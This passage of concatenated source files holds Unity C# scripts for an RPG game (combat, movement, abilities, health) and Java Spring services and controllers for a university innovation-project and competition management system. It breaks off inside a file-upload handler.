public event OnMouseOverTerrain onMouseOverTerrain; // instantiate an observer set
void Update()
{
screenRect = new Rect(0, 0, Screen.width, Screen.height);
// Check if pointer is over an interactable UI element
if (EventSystem.current.IsPointerOverGameObject())
{
// Impiment UI Interaction
}
else
{
PerformRayCasts();
}
}
void PerformRayCasts()
{
if (screenRect.Contains(Input.mousePosition))
{
Ray ray = Camera.main.ScreenPointToRay(Input.mousePosition);
if (RayCastForEnemy(ray)) { return; }
if (RayCastForWalkable(ray)) { return; }
}
}
private bool RayCastForEnemy(Ray ray)
{
RaycastHit raycastHit;
bool potentialEnemyHit = Physics.Raycast(ray, out raycastHit, maxRaycastDepth);
if (potentialEnemyHit) // if hit no priority object
{
EnemyAI enemy = raycastHit.collider.gameObject.GetComponent<EnemyAI>();
if (enemy)
{
Cursor.SetCursor(enemyCursor, cursorHotspot, CursorMode.Auto);
onMouseOverEnemy(enemy);
return true;
}
}
return false;
}
private bool RayCastForWalkable(Ray ray)
{
RaycastHit raycastHit;
LayerMask potentiallyWalkableLayer = 1 << POTENTIALLY_WALKABLE_LAYER;
bool potentiallyWalkableHit = Physics.Raycast(ray, out raycastHit, maxRaycastDepth, potentiallyWalkableLayer);
if (potentiallyWalkableHit) // if hit no priority object
{
if(currentlyWalkable == false)
{
Cursor.SetCursor(walkCursor, cursorHotspot, CursorMode.Auto);
}
onMouseOverTerrain(raycastHit.point);
}
else
{
currentlyWalkable = false;
}
return false;
}
}
}<file_sep>/Assets/Characters/Scripts/WeaponSystem.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Assertions;
namespace RPG.Characters
{
public class WeaponSystem : MonoBehaviour
{
const string DEFAULT_ATTACK = "Default Attack";
[SerializeField] float baseDamage = 10f;
[SerializeField] WeaponConfig currentWeaponConfig;
[Range(.1f, 1.0f)] [SerializeField] float criticalHitChance = 0.1f;
[SerializeField] float criticalHitMultiplier = 1.5f;
[SerializeField] ParticleSystem criticalParticleSystem = null;
GameObject weaponObject;
GameObject target;
Character character;
Animator animator;
float lastHitTime = -1;
// Use this for initialization
void Start()
{
animator = GetComponent<Animator>();
character = GetComponent<Character>();
PutWeaponInHand(currentWeaponConfig);
SetAttackAnimation();
}
// Update is called once per frame
void Update()
{
bool targetIsDead;
bool targetIsOutOfRange;
if(target == null)
{
targetIsDead = false;
targetIsOutOfRange = false;
}
else
{
var targetHealth = target.GetComponent<HealthSystem>().healthAsPercentage;
targetIsDead = targetHealth <= Mathf.Epsilon;
float distanceToTarget = Vector3.Distance(gameObject.transform.position, target.transform.position);
targetIsOutOfRange = distanceToTarget > currentWeaponConfig.GetMaxAttackRange();
}
var characterHealth = gameObject.GetComponent<HealthSystem>().healthAsPercentage;
bool characterIsDead = characterHealth <= Mathf.Epsilon;
if (characterIsDead || targetIsDead || targetIsOutOfRange)
{
StopAllCoroutines();
}
}
public WeaponConfig GetWeaponConfig()
{
return currentWeaponConfig;
}
public void PutWeaponInHand(WeaponConfig weaponConfig)
{
currentWeaponConfig = weaponConfig;
var weaponPrefab = currentWeaponConfig.GetWeaponPrefab();
GameObject dominantHand = RequestDominantHand();
Destroy(weaponObject);
weaponObject = Instantiate(weaponPrefab, dominantHand.transform);
weaponObject.transform.localPosition = weaponConfig.gripTransform.localPosition;
weaponObject.transform.localRotation = weaponConfig.gripTransform.localRotation;
}
public void AttackTarget(GameObject targetToAttack)
{
target = targetToAttack;
StartCoroutine(AttackTargetRepeatedly());
}
public void StopAttacking()
{
StopAllCoroutines();
animator.StopPlayback();
}
IEnumerator AttackTargetRepeatedly()
{
bool isAttackerAlive = GetComponent<HealthSystem>().healthAsPercentage >= Mathf.Epsilon;
bool isTargetAlive = target.GetComponent<HealthSystem>().healthAsPercentage >= Mathf.Epsilon;
while (isAttackerAlive && isTargetAlive)
{
var animationClip = currentWeaponConfig.GetAttackAnimation();
float animationClipTime = animationClip.length / character.GetAnimSpeedMultiplier();
float timeToWait = animationClipTime + currentWeaponConfig.GetMinTimeBetweenAnimationCycles();
bool isTimeToHitAgain = Time.time - lastHitTime > timeToWait || lastHitTime == -1;
if (isTimeToHitAgain)
{
AttackTargetOnce();
lastHitTime = Time.time;
}
yield return new WaitForSeconds(0.1f);
}
}
private void AttackTargetOnce()
{
transform.LookAt(target.transform);
SetAttackAnimation();
animator.SetTrigger("Attack");
float damageDelay = currentWeaponConfig.GetDamageDelay();
StartCoroutine(DamageAfterDelay(damageDelay));
}
private IEnumerator DamageAfterDelay(float damageDelay)
{
yield return new WaitForSeconds(damageDelay);
target.GetComponent<HealthSystem>().TakeDamage(CalculateDamage());
}
private GameObject RequestDominantHand()
{
var dominantHands = GetComponentsInChildren<DominantHand>();
int numberOfDominantHands = dominantHands.Length;
Assert.IsFalse(numberOfDominantHands < 0, "No DominantHand found on Player, Please add one");
Assert.IsFalse(numberOfDominantHands > 1, "Multiple DominantHand scripts on Player, please remove one");
return dominantHands[0].gameObject;
}
private float CalculateDamage()
{
if (UnityEngine.Random.Range(0.0f, 1.0f) <= criticalHitChance)
{
print("Critical Hit");
criticalParticleSystem.Play();
return baseDamage + currentWeaponConfig.GetAdditionalDamage() * criticalHitMultiplier;
}
else
{
print("Normal Hit");
return baseDamage + currentWeaponConfig.GetAdditionalDamage();
}
}
private void SetAttackAnimation()
{
if(!character.GetOverrideController())
{
Debug.Break();
Debug.LogAssertion("Please provie " + gameObject + " with animator override controller");
}
var overrideController = character.GetOverrideController();
animator.runtimeAnimatorController = overrideController;
overrideController[DEFAULT_ATTACK] = currentWeaponConfig.GetAttackAnimation();
}
}
}
<file_sep>/Assets/Characters/Scripts/Character.cs
using System;
using UnityEngine;
using UnityEngine.AI;
using RPG.CameraUI;
namespace RPG.Characters
{
public class Character : MonoBehaviour
{
[Header("Animator")]
[SerializeField] RuntimeAnimatorController animatorController;
[SerializeField] AnimatorOverrideController animatorOverrideController;
[SerializeField] Avatar characterAvatar;
[Header("Collider")]
[SerializeField] Vector3 colliderCenter = new Vector3(0,1.0f,0);
[SerializeField] float colliderRadius = 0.2f;
[SerializeField] float colliderHeight = 2.0f;
[Header("Audio Source")]
[SerializeField] float audioSpatialBlend = 1.0f;
[Header("Nav Mesh Agent")]
[SerializeField] float steeringSpeed = 1;
[SerializeField] float stoppingDistance = 1.3f;
[Header("Movement")]
[SerializeField] float moveSpeedMultiplier = 0.7f;
[SerializeField] float m_MovingTurnSpeed = 360;
[SerializeField] float m_StationaryTurnSpeed = 180;
[SerializeField] float animSpeedMultiplier = 1f;
[SerializeField] float moveThreshold = 1f;
[SerializeField] [Range(0.1f,1f)] float animatorForwardCap = 1f;
Vector3 CurrentDestination, clickPoint;
NavMeshAgent navMeshAgent;
Animator animator;
Rigidbody charRigidBody;
float m_TurnAmount;
float m_ForwardAmount;
bool isAlive = true;
public void OnAnimatorMove()
{
if (Time.deltaTime > 0)
{
Vector3 v = (animator.deltaPosition * moveSpeedMultiplier) / Time.deltaTime;
v.y = charRigidBody.velocity.y;
charRigidBody.velocity = v;
}
}
public void Kill()
{
isAlive = false;
}
public void SetDestination(Vector3 worldPos)
{
navMeshAgent.SetDestination(worldPos);
}
public void Move(Vector3 movement)
{
SetForwardAndTurn(movement);
ApplyExtraTurnRotation();
UpdateAnimator();
}
private void Awake()
{
AddRequiredComponents();
}
private void AddRequiredComponents()
{
animator = gameObject.AddComponent<Animator>();
animator.runtimeAnimatorController = animatorController;
animator.avatar = characterAvatar;
CapsuleCollider collider = gameObject.AddComponent<CapsuleCollider>();
collider.center = colliderCenter;
collider.radius = colliderRadius;
collider.height = colliderHeight;
charRigidBody = gameObject.AddComponent<Rigidbody>();
charRigidBody.constraints = RigidbodyConstraints.FreezeRotationX | RigidbodyConstraints.FreezeRotationY | RigidbodyConstraints.FreezeRotationZ;
navMeshAgent = gameObject.AddComponent<NavMeshAgent>();
navMeshAgent.updateRotation = false;
navMeshAgent.updatePosition = true;
navMeshAgent.speed = steeringSpeed;
navMeshAgent.stoppingDistance = stoppingDistance;
navMeshAgent.autoBraking = false;
animator.applyRootMotion = true;
var source = gameObject.AddComponent<AudioSource>();
source.spatialBlend = audioSpatialBlend;
}
private void Start()
{
CurrentDestination = transform.position;
}
public float GetAnimSpeedMultiplier()
{
return animator.speed;
}
private void Update()
{
if(!navMeshAgent.isOnNavMesh)
{
Debug.LogError("RANDOM GUY NOT ON NAVMESH");
}
if (navMeshAgent.remainingDistance > navMeshAgent.stoppingDistance && isAlive)
{
Move(navMeshAgent.desiredVelocity);
}
else
{
Move(Vector3.zero);
}
}
public AnimatorOverrideController GetOverrideController()
{
return animatorOverrideController;
}
private void OnDrawGizmos()
{
Gizmos.color = Color.black;
Gizmos.DrawLine(transform.position, CurrentDestination);
Gizmos.DrawSphere(CurrentDestination, 0.1f);
Gizmos.DrawSphere(clickPoint, 0.1f);
}
private void SetForwardAndTurn(Vector3 movement)
{
// convert the world relative moveInput vector into a local-relative
// turn amount and forward amount required to head in the desired
// direction.
if (movement.magnitude > moveThreshold)
{
movement.Normalize();
}
var localMovement = transform.InverseTransformDirection(movement);
m_TurnAmount = Mathf.Atan2(localMovement.x, localMovement.z);
m_ForwardAmount = localMovement.z;
}
void UpdateAnimator()
{
animator.SetFloat("Forward", m_ForwardAmount * animatorForwardCap, 0.1f, Time.deltaTime);
animator.SetFloat("Turn", m_TurnAmount, 0.1f, Time.deltaTime);
animator.speed = animSpeedMultiplier;
}
void ApplyExtraTurnRotation()
{
// help the character turn faster (this is in addition to root rotation in the animation)
float turnSpeed = Mathf.Lerp(m_StationaryTurnSpeed, m_MovingTurnSpeed, m_ForwardAmount);
transform.Rotate(0, m_TurnAmount * turnSpeed * Time.deltaTime, 0);
}
}
}<file_sep>/Assets/Characters/SpecialAbilities/PowerAttack/PowerAttackBehaviour.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace RPG.Characters
{
public class PowerAttackBehaviour : AbilityBehaviour
{
public override void Use(GameObject target = null)
{
HealthSystem health = target.GetComponent<HealthSystem>();
if(health)
{
health.TakeDamage((config as PowerAttackConfig).GetExtraDamage());
}
PlayParticleEffect();
PlayAbilitySound();
PlayAnimation();
}
}
}
<file_sep>/Assets/Characters/Weapons/WeaponPickupPoint.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using RPG.Characters;
namespace RPG.Characters
{
[ExecuteInEditMode]
public class WeaponPickupPoint : MonoBehaviour
{
[SerializeField] WeaponConfig weaponConfig;
[SerializeField] AudioClip pickUpSFX;
// Use this for initialization
void Start()
{
}
// Update is called once per frame
void Update()
{
if(!Application.isPlaying)
{
DestroyChildren();
InstantiateWeapon();
}
}
void DestroyChildren()
{
List<GameObject> objects = new List<GameObject>();
for (int a = 0; a < gameObject.transform.childCount; a++)
{
objects.Add(gameObject.transform.GetChild(a).gameObject);
}
objects.ForEach(child => DestroyImmediate(child));
}
void InstantiateWeapon()
{
var weapon = weaponConfig.GetWeaponPrefab();
weapon.transform.position = Vector3.zero;
Instantiate(weapon, gameObject.transform);
}
private void OnTriggerEnter()
{
PlayerControl player = FindObjectOfType<PlayerControl>();
WeaponSystem weapon = player.GetComponent<WeaponSystem>();
weapon.PutWeaponInHand(weaponConfig);
var audioSource = GetComponent<AudioSource>();
audioSource.PlayOneShot(pickUpSFX);
GetComponent<CapsuleCollider>().enabled = false;
//Destroy(gameObject);
}
}
}
<file_sep>/Assets/Characters/SpecialAbilities/Whirlwind/WhirlwindConfig.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace RPG.Characters
{
[CreateAssetMenu(menuName =("RPG/Special Ability/Whirlwind"))]
public class WhirlwindConfig : AbilityConfig
{
[Header("Whirlwind Specific")]
[SerializeField] float damage = 15f;
[SerializeField] float radius = 5f;
public override AbilityBehaviour GetBehaviourComponent(GameObject gameObjectToAttachTo)
{
return gameObjectToAttachTo.AddComponent<WhirlwindBehaviour>();
}
public float GetRadius()
{
return radius;
}
public float GetDamage()
{
return damage;
}
}
}
<file_sep>/Assets/Characters/SpecialAbilities/AbilityConfig.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using RPG.Core;
namespace RPG.Characters
{
public abstract class AbilityConfig : ScriptableObject
{
[Header("Special Ability General")]
[SerializeField] float energyCost = 10f;
[SerializeField] GameObject particlePrefab = null;
[SerializeField] AnimationClip abilityAnimation;
[SerializeField] AudioClip[] audioClips;
protected AbilityBehaviour behaviour;
abstract public AbilityBehaviour GetBehaviourComponent(GameObject gameObjectToAttachTo);
public void AddComponent(GameObject gameObjectToAttachTo)
{
behaviour = GetBehaviourComponent(gameObjectToAttachTo);
behaviour.SetConfig(this);
}
public void Use(GameObject target = null)
{
behaviour.Use(target);
}
public float GetEnergyCost()
{
return energyCost;
}
public GameObject GetParticlePrefab()
{
return particlePrefab;
}
public AudioClip GetRandomAudioClip()
{
return audioClips[Random.Range(0,audioClips.Length)];
}
public AnimationClip GetAbilityAnimation()
{
return abilityAnimation;
}
}
}
<file_sep>/Assets/Characters/SpecialAbilities/SelfHeal/SelfHealBehaviour.cs
using RPG.Core;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace RPG.Characters
{
public class SelfHealBehaviour : AbilityBehaviour
{
public override void Use(GameObject target = null)
{
var playerHealth = gameObject.GetComponent<PlayerControl>().GetComponent<HealthSystem>();
playerHealth.Heal((config as SelfHealConfig).GetHeal());
PlayParticleEffect();
PlayAbilitySound();
PlayAnimation();
}
}
}
<file_sep>/Assets/Characters/Scripts/HealthSystem.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine.UI;
using UnityEngine;
using System;
using UnityEngine.SceneManagement;
namespace RPG.Characters
{
public class HealthSystem : MonoBehaviour
{
[SerializeField] float maxHealthPoints = 100f;
[SerializeField] Image healthBar;
[SerializeField] AudioClip[] damageSounds;
[SerializeField] AudioClip[] deathSounds;
[SerializeField] float deathVanishSeconds = 2f;
float currentHealthPoints;
Animator animator;
AudioSource source;
const string DEATH_TRIGGER = "Death";
Character characterMovement;
public float healthAsPercentage { get { return currentHealthPoints / (float)maxHealthPoints; } }
// Use this for initialization
void Start()
{
animator = GetComponent<Animator>();
source = GetComponent<AudioSource>();
characterMovement = GetComponent<Character>();
currentHealthPoints = maxHealthPoints;
}
public void TakeDamage(float damage)
{
bool characterDies = (currentHealthPoints - damage <= 0);
ReduceHealth(damage);
if (characterDies)
{
StartCoroutine(KillCharacter());
}
}
public void Heal(float health)
{
IncreaseHealth(health);
}
private void ReduceHealth(float damage)
{
currentHealthPoints = Mathf.Clamp(currentHealthPoints - damage, 0, maxHealthPoints);
if(damageSounds.Length > 0)
{
var clip = damageSounds[UnityEngine.Random.Range(0, damageSounds.Length)];
source.PlayOneShot(clip);
}
}
private void IncreaseHealth(float heal)
{
currentHealthPoints = Mathf.Clamp(currentHealthPoints + heal, 0, maxHealthPoints);
}
private IEnumerator KillCharacter()
{
characterMovement.Kill();
animator.SetTrigger(DEATH_TRIGGER);
var playerComponent = GetComponent<PlayerControl>();
if(playerComponent && playerComponent.isActiveAndEnabled)
{
if(deathSounds.Length > 0)
{
source.clip = deathSounds[UnityEngine.Random.Range(0, deathSounds.Length)];
source.Play();
yield return new WaitForSeconds(source.clip.length);
}
SceneManager.LoadScene(0);
}
else
{
if (deathSounds.Length > 0)
{
source.clip = deathSounds[UnityEngine.Random.Range(0, deathSounds.Length)];
source.Play();
yield return new WaitForSeconds(source.clip.length);
}
DestroyObject(gameObject,deathVanishSeconds);
}
}
// Update is called once per frame
void Update()
{
UpdateHealthBar();
}
private void UpdateHealthBar()
{
if(healthBar)
{
healthBar.fillAmount = healthAsPercentage;
}
}
}
}
| 2980256a6cd67441c2c06f8cdfdf0964c7bc9b1e | [
"Markdown",
"C#"
] | 15 | C# | spuzz/Dragon_Hunter | fd0610a74ce3fa59b733be2b7eec486a6966d6e5 | 648e357753aea582271832833fabf593bb33125b |
refs/heads/master | <file_sep>package com.innovate.modules.declare.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.declare.dao.DeclareRetreatDao;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import com.innovate.modules.declare.entity.DeclareRetreatEntity;
import com.innovate.modules.declare.service.DeclareInfoService;
import com.innovate.modules.declare.service.DeclareRetreatService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目流程回退
**/
@Service
public class DeclareRetreatServiceImpl extends ServiceImpl<DeclareRetreatDao, DeclareRetreatEntity> implements DeclareRetreatService {
@Autowired
private DeclareRetreatService declareRetreatService;
@Autowired
private DeclareInfoService innovateDeclareInfoService;
@Override
public void updateRetreat(Map<String, Object> params) {
Long declareId = Long.parseLong(params.get("declareId").toString());
String apply = params.get("apply").toString();
Long userId = Long.parseLong(params.get("userId").toString());
String option = params.get("option").toString();
//项目中的流程值
Long applyStatus = Long.parseLong(params.get("applyStatus").toString());
DeclareRetreatEntity declareRetreatEntity = new DeclareRetreatEntity();
declareRetreatEntity.setDeclareId(declareId);
declareRetreatEntity.setApply(apply);
declareRetreatEntity.setRetreatOption(option);
declareRetreatEntity.setUserId(userId);
declareRetreatEntity.setApplyStatus(applyStatus);
declareRetreatService.insert(declareRetreatEntity);
DeclareInfoEntity declareInfo = innovateDeclareInfoService.selectById(declareId);
switch (apply) {
case "project_audit_apply_status":
declareInfo.setAuditNoPass(1L);
break;
}
innovateDeclareInfoService.updateAllColumnById(declareInfo);
}
@Override
public List<DeclareRetreatEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.match.dao.MatchTeacherDao;
import com.innovate.modules.match.entity.MatchTeacherEntity;
import com.innovate.modules.match.service.MatchTeacherService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:51
* @Version 1.0
*/
@Service
public class MatchTeacherServiceImpl extends ServiceImpl<MatchTeacherDao, MatchTeacherEntity> implements MatchTeacherService {
@Override
public List<MatchTeacherEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.match.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.match.entity.MatchApplyUpdateEntity;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
public interface MatchApplyUpdateService extends IService<MatchApplyUpdateEntity> {
PageUtils queryPage(Map<String, Object> params);
void applyUpdate(Map<String, Object> params);
List<MatchApplyUpdateEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
@Transactional
void update(MatchApplyUpdateEntity matchApplyUpdateEntity);
}
<file_sep>package com.innovate.modules.match.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.modules.match.entity.MatchAttachEntity;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @Email:<EMAIL>
* @date 2018/11/19 18:41
* @Version 1.0
*/
public interface MatchAttachService extends IService<MatchAttachEntity> {
List<MatchAttachEntity> queryMatchByTime(Map<String, Object> params);
List<MatchAttachEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
Integer queryTotal(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.InnovateGradeEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@Mapper
public interface InnovateGradeDao extends BaseMapper<InnovateGradeEntity> {
List<InnovateGradeEntity> queryAllGrade();
}
<file_sep>package com.innovate.modules.cooperation.controller;
import java.net.URLEncoder;
import java.util.*;
import com.alibaba.excel.EasyExcel;
import com.alibaba.excel.ExcelWriter;
import com.alibaba.excel.write.metadata.WriteSheet;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.cooperation.entity.InnovateCooperationAttachModel;
import com.innovate.modules.sys.entity.SysUserEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.cooperation.entity.InnovateCooperationAgreementEntity;
import com.innovate.modules.cooperation.service.InnovateCooperationAgreementService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import javax.servlet.http.HttpServletResponse;
/**
* 企业协议管理
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-26 11:24:20
*/
@RestController
@RequestMapping("cooperation/innovatecooperationagreement")
public class InnovateCooperationAgreementController {
@Autowired
private InnovateCooperationAgreementService innovateCooperationAgreementService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("cooperation:innovatecooperationagreement:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateCooperationAgreementService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{enterpriseId}")
@RequiresPermissions("cooperation:innovatecooperationagreement:info")
public R info(@PathVariable("enterpriseId") Long enterpriseId){
R r = innovateCooperationAgreementService.info(enterpriseId);
return r;
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("cooperation:innovatecooperationagreement:save")
public R save(@RequestBody InnovateCooperationAttachModel attachModel){
R r = innovateCooperationAgreementService.insertModel(attachModel);
return r;
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("cooperation:innovatecooperationagreement:update")
public R update(@RequestBody InnovateCooperationAttachModel attachModel){
innovateCooperationAgreementService.update(attachModel);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("cooperation:innovatecooperationagreement:delete")
public R delete(@RequestBody Long[] enterpriseIds){
// innovateCooperationAgreementService.deleteBatchIds(Arrays.asList(enterpriseIds));
innovateCooperationAgreementService.deleteList(Arrays.asList(enterpriseIds));
return R.ok();
}
/**
* 导出
*/
@PostMapping("/export")
@RequiresPermissions("cooperation:innovatecooperationagreement:list")
public void export(@RequestBody Map<String, Object> params, HttpServletResponse response){
List<InnovateCooperationAgreementEntity> cooperationagreementIdsList = new ArrayList<>();
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding("utf-8");
/* 获取当前登录用户 */
SysUserEntity userEntity = ShiroUtils.getUserEntity();
String adminName = userEntity.getUsername();
ExcelWriter excelWriter = null;
try {
String fileName = URLEncoder.encode("企业协议管理信息", "UTF-8");
response.setHeader("Content-disposition","attachment;filename"+fileName+".xlsx");
/* 权限判断:当前用户为管理员(暂时不做权限限制) */
if ("wzxyGLY".equals(adminName) || true){
excelWriter = EasyExcel.write(response.getOutputStream(), InnovateCooperationAgreementEntity.class).build();
WriteSheet writeSheet = EasyExcel.writerSheet(0, "企业协议管理信息").build();
cooperationagreementIdsList = innovateCooperationAgreementService.queryListByIds(params);
excelWriter.write(cooperationagreementIdsList,writeSheet);
}
}catch (Exception e){
e.printStackTrace();
}finally {
// 千万别忘记finish 会帮忙关闭流
if (excelWriter != null) {
excelWriter.finish();
}
}
}
}
<file_sep>package com.innovate.modules.finish.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.finish.dao.FinishApplyUpdateDao;
import com.innovate.modules.finish.entity.FinishApplyUpdateEntity;
import com.innovate.modules.finish.entity.FinishInfoEntity;
import com.innovate.modules.finish.service.FinishApplyUpdateService;
import com.innovate.modules.finish.service.FinishInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author:tz
* @create:2018-12-15
* @description:项目申请修改
**/
@Service
public class FinishApplyUpdateServiceImpl extends ServiceImpl<FinishApplyUpdateDao, FinishApplyUpdateEntity> implements FinishApplyUpdateService {
@Autowired
private FinishApplyUpdateService finishApplyUpdateService;
@Autowired
private FinishInfoService finishInfoService;
@Override
public PageUtils queryPage(Map<String, Object> params) {
Long finishId = Long.parseLong(params.get("finishId").toString());
Page<FinishApplyUpdateEntity> page = this.selectPage(
new Query<FinishApplyUpdateEntity>(params).getPage(),
new EntityWrapper<FinishApplyUpdateEntity>()
.eq(finishId != null, "finish_id", finishId)
);
return new PageUtils(page);
}
@Override
public void update(FinishApplyUpdateEntity finishApplyUpdateEntity) {
Long finishId = finishApplyUpdateEntity.getFinishId();
Long result = finishApplyUpdateEntity.getResult();
FinishInfoEntity finishInfoEntity = finishInfoService.selectById(finishId);
if (1 == result) {//0不通过 1通过
finishInfoEntity.setIsUpdate(1L);
finishInfoEntity.setApplyUpdate(0L);
}
if (2 == result || 0 == result) {//0不通过 1通过
finishInfoEntity.setApplyUpdate(0L);
}
if (null == result) {//0不通过 1通过
finishInfoEntity.setApplyUpdate(1L);
}
finishInfoService.updateAllColumnById(finishInfoEntity);
finishApplyUpdateService.updateAllColumnById(finishApplyUpdateEntity);
}
@Override
public void applyUpdate(Map<String, Object> params) {
Long finishId = Long.parseLong(params.get("finishId").toString());
String reason = params.get("reason").toString();
FinishInfoEntity finishInfoEntity = finishInfoService.selectById(finishId);
finishInfoEntity.setApplyUpdate(1L);
finishInfoService.updateAllColumnById(finishInfoEntity);
FinishApplyUpdateEntity finishApplyUpdateEntity = new FinishApplyUpdateEntity();
finishApplyUpdateEntity.setFinishId(finishId);
finishApplyUpdateEntity.setReason(reason);
finishApplyUpdateService.insert(finishApplyUpdateEntity);
}
@Override
public List<FinishApplyUpdateEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public void remove(Map<String, Object> params) {
List<FinishApplyUpdateEntity> finishApplyUpdateEntityList = baseMapper.queryAll(params);
for (FinishApplyUpdateEntity finishApplyUpdateEntity : finishApplyUpdateEntityList) {
baseMapper.remove(params);
}
}
}
<file_sep>package com.innovate.modules.innovate.controller;
import java.io.File;
import java.util.*;
import com.innovate.common.utils.OSSUtils;
import com.innovate.modules.util.RandomUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.innovate.entity.InnovateDeclarationProcessSettingEntity;
import com.innovate.modules.innovate.service.InnovateDeclarationProcessSettingService;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
/**
* 申报流程设置
*
* @author HHUFU
* @email <EMAIL>
* @date 2021-02-03 11:43:20
*/
@RestController
@RequestMapping("innovate/innovatedeclarationprocesssetting")
public class InnovateDeclarationProcessSettingController {
@Autowired
private InnovateDeclarationProcessSettingService innovateDeclarationProcessSettingService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("innovate:innovatedeclarationprocesssetting:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateDeclarationProcessSettingService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 列表
*/
@RequestMapping("/queryCount")
public R queryCount(@RequestBody Map<String, Object> params){
int i = innovateDeclarationProcessSettingService.queryCount(params);
if (i == 0) {
int countStarTime = innovateDeclarationProcessSettingService.queryStartTime(params);
if (countStarTime == 0) {
int countEndTime = innovateDeclarationProcessSettingService.queryEndTime(params);
if (countEndTime > 0)
return R.error().put("msg", "您已超出提交时间,将不得再进行申报");
}
return R.error().put("msg", "此次申报还未到到提交时间,请在规定时间内才可以申报");
}
return R.ok();
}
/**
* 信息
*/
@RequestMapping("/info/{dpsId}")
@RequiresPermissions("innovate:innovatedeclarationprocesssetting:info")
public R info(@PathVariable("dpsId") Long dpsId){
InnovateDeclarationProcessSettingEntity innovateDeclarationProcessSetting = innovateDeclarationProcessSettingService.selectById(dpsId);
return R.ok().put("innovateDeclarationProcessSetting", innovateDeclarationProcessSetting);
}
/**
* 查询
*/
@RequestMapping("/queryByTime")
public R info(@RequestParam Map<String, Object> params){
InnovateDeclarationProcessSettingEntity declarationProcessSetting = innovateDeclarationProcessSettingService.selectByTime(params);
return R.ok().put("declarationProcessSetting", declarationProcessSetting);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("innovate:innovatedeclarationprocesssetting:save")
public R save(@RequestBody InnovateDeclarationProcessSettingEntity innovateDeclarationProcessSetting){
innovateDeclarationProcessSettingService.insert(innovateDeclarationProcessSetting);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("innovate:innovatedeclarationprocesssetting:update")
public R update(@RequestBody InnovateDeclarationProcessSettingEntity innovateDeclarationProcessSetting){
innovateDeclarationProcessSettingService.updateById(innovateDeclarationProcessSetting);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("innovate:innovatedeclarationprocesssetting:delete")
public R delete(@RequestBody Long[] dpsIds){
innovateDeclarationProcessSettingService.deleteBatchIds(Arrays.asList(dpsIds));
return R.ok();
}
/**
* 文件上传
* @param files
* @param request
* @return
*/
@PostMapping(value = "/upload")
@RequiresPermissions("innovate:innovatedeclarationprocesssetting:save")
public Object uploadFile(@RequestParam("file") List<MultipartFile> files, HttpServletRequest request) {
String declareProcessName = request.getParameter("declareProcessName");
if (declareProcessName==null||declareProcessName.equals(""))declareProcessName="declareProcessNameISNull";
